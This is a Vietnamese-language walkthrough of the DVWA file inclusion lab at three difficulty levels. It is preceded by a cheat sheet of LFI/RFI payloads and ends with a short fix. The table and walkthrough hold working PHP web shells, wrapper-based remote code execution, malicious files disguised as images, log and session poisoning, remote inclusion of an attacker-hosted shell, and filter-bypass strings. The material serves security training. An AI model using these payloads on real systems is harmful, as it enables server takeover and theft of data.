|```/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id```|RCE with data wrapper|
|```curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"```|RCE with input wrapper|
|```curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"```|RCE with expect wrapper|
|RFI||
|```echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT>```|Host web shell|
|```/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id```| Include remote PHP web shell|
|LFI + Upload||
|```echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif```| Create malicious image|
|```/index.php?language=./profile_images/shell.gif&cmd=id```| RCE with malicious uploaded image|
|```echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php```| Create malicious zip archive 'as jpg'|
|```/index.php?language=zip://shell.zip%23shell.php&cmd=id```|RCE with malicious uploaded zip|
|```php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg```|Create malicious phar 'as jpg'|
|```/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id```|RCE with malicious uploaded phar|
|Log Poisoning||
|```/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd```|Read PHP session parameters|
|```/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E```|Poison PHP session with web shell|
|```/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id```|RCE through poisoned PHP session|
|```curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>'```| Poison server log|
|```/index.php?language=/var/log/apache2/access.log&cmd=id```|RCE through poisoned PHP session|
## Low level

- Trong một cuộc tấn công LFI cơ bản , chúng ta sẽ sử dụng local file inclusion để thu thập thông tin trên máy chủ từ xa và khai thác nó để có thể chiếm được quyền root shell .
- mục đích của chúng ta trong phần này là đọc được file /etc/passwd vì mình thực hiện bài lab trên máy window nên
- đề yêu cầu chúng ta đọc được 1 file bí mật bị giấu
### Phân tích
mình đọc source code

thấy không có sự kiểm tra đầu vào và gán thẳng giá trị của parameter page vào biến file

Ở đây chúng ta thấy ```?page=``` sẽ trỏ đến 1 file có tồn tại trên máy chủ , và trong bài này là trỏ đến file1.php
mình thử thay bằng dấu ```'``` và nó hiện thông báo lỗi inclusion -> web bị dính lỗi file inclusion

### Khai thác Tấn công LFI
mình đã đọc file robots.txt
- Nhưng trước khi vào được robots.txt , chúng ta cần nhập đủ các thư mục trước đó để đưa chúng ta trở lại thư mục gốc . Trong trường hợp này chúng ta sử dụng Path Traversal để truy cập tệp robots.txt.
- Bằng cách sử dụng biến tham chiếu ../ và các biến thể của nó , hoặc bằng cách sử dụng các đường dẫn tệp tuyệt đối , có thể truy cập các tệp và thư mục được lưu trự trên hệ thống bao gồm mã nguồn ứng dụng hoặc các tệp tin quan trọng
- Như chúng ta thấy để có thể đến được thư mục etc, chúng ta cần phải sử dụng ../ để đại diện cho các thư mục đằng trước.

đọc file trên window

chúng ta có thể lấy bất cứ thông tin nào khác như access.log hoặc error.log,...

mình có thể đọc được file ```../hackable/flags/fi.php```


### Khai thác Tấn công RFI
mình chèn url google.com vào tham số page và nó đã genarate

web đã lấy thông tin từ máy chủ bên ngoài và chèn vào trang web của mình
- và tương tự như đã giới thiệu ở phần khái niệm mình có thể chèn và thực thi RCE
## Medium level

### Phân tích
- mình đọc source code

web đã thêm cơ chế filter bằng hàm str_replace sẽ xóa tất cacr các chuỗi và kí tự như ```"http://", "https://", "../", "..\"``` sau đó sẽ trả lại trang ban đầu cho người dùng
### Khai thác tấn công LFI
- mình đã dùng payload: ```/?page=....//....//robots.txt``` để khi web xóa "../" thì trong "....//" sẽ mất "../" ở giữa và trở thành "../" theo mục đích của chúng ta và mình đọc được file robots.txt

### Khai thác tấn công RFI
- tương tự LFI mình dùng payload : ```http://localhost/dvwA/vulnerabilities/fi/?page=htthttps://ps://www.google.com/``` để khi web xóa "https://" thì trong "htthttps://ps://" sẽ mất "https://" ở giữa và trở thành "https://" theo mục đích của chúng ta và mình chèn được html của google vào trang web này

mình đã tạo 1 server và gửi file shell đến
- với linux

- với window


- mình có shell và có thể thực thi lệnh trên server này

## High level

### Phân tích
- mình đọc source code

- tên của file phải là "include.php" hoặc bắt đầu là chuỗi "file" nếu không đúng sẽ thông báo "ERROR: File not found!" và thoát
-
### Khai thác tấn công LFI
mình thử đọc file "file4.php" và thực thi thành công vì web chỉ check xem có bắt đầu bằng chuỗi "file" hay không

mình đã dùng payload: ```localhost/dvwA/vulnerabilities/fi/?page=file://c:\Windows\System32\Drivers\etc\hosts```để đọc các file khác của hệ thống và thành công
- Giao thức "file://" được sử dụng để truy cập các tệp trên hệ thống tệp cục bộ của máy tính

### Khai thác tấn công RFI
chúng ta không thể đọc được file từ bên ngoài server

vậy chúng ta sẽ cần khai thác tính năng upload file trước và chèn đoạn mã thực thi php ở mức độ high này
- sau đó để trigger file php chúng ta vừa upload chúng ta sẽ vào trang chứa lỗ hổng file inclusion hiện tại để thực thi RCE
## Code đúng

chúng ta cần chỉ rõ tên cùng với phần mở rộng của các file có thể đọc và include được
<img src="https://3198551054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVvHHLY2mrxd5y4e2vVYL%2Fuploads%2FF8DJirSFlv1Un7WBmtvu%2Fcomplete.gif?alt=media&token=045fd197-4004-49f4-a8ed-ee28e197008f">
## Chú thích
- Giao thức "file://"
"Đường dẫn file ảo" là một khái niệm trong lập trình và hệ thống máy tính, thường được sử dụng để tham chiếu đến một đường dẫn hoặc tập tin mà không thực sự tồn tại trên hệ thống tệp cụ thể. Cụ thể, các "đường dẫn file ảo" có thể được sử dụng để tạo ra một giao diện ảo hoặc trừu tượng giữa ứng dụng và tệp tin thực tế.
Ví dụ, trong một ứng dụng, bạn có thể sử dụng một "đường dẫn file ảo" để tham chiếu đến một tệp tin không tồn tại trên ổ đĩa, nhưng thay vào đó được tạo ra hoặc xử lý tạm thời trong bộ nhớ hoặc qua mạng.
Một ứng dụng phổ biến của "đường dẫn file ảo" là trong việc làm việc với dữ liệu được lưu trữ trong các cơ sở dữ liệu hoặc trong môi trường điện toán đám mây, nơi dữ liệu có thể không được lưu trữ trên ổ đĩa cục bộ mà thay vào đó có thể được truy cập thông qua API hoặc các giao thức mạng khác.
## Tài liệu tham khảo
https://websitehcm.com/kiem-tra-lo-hong-bao-mat-local-file-inclusion/